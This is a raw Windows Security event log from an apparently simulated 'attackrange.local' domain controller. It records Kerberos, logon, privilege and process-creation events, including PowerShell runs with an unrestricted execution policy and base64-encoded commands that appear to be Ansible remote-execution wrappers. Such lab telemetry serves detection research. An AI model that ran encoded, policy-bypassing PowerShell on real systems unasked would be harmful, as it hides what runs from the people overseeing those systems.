privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252277 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252276 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x156A5A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252275 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x156A5A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252274 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252273 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252272 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252271 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15691F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252270 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252269 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15691F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252268 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15691F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252267 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252266 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D77D8964-7AE3-A943-2CF8-3E53FE8EF695} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252265 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252264 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x155237 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252263 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x284 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUAOQAzAC4AMwA3ADYAOAA1ADAAOAAtADIANgA1ADEAOAA5ADEAMAA1ADcAOAA5ADgAMAAxACcACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJAB0AG0AcAAuAEYAdQBsAGwATgBhAG0AZQAKAEkAZgAgACgALQBuAG8AdAAgACQAPwApACAAewAgAEkAZgAgACgARwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACAAewAgAGUAeABpAHQAIAAkAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAAfQAgAEUAbABzAGUAIAB7ACAAZQB4AGkAdAAgADEAIAB9ACAAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252351 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x159D21 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252350 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x159D21 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64631 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252349 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x159D21 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252348 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x159CC0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252347 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x159CC0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64630 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252346 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x159CC0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege 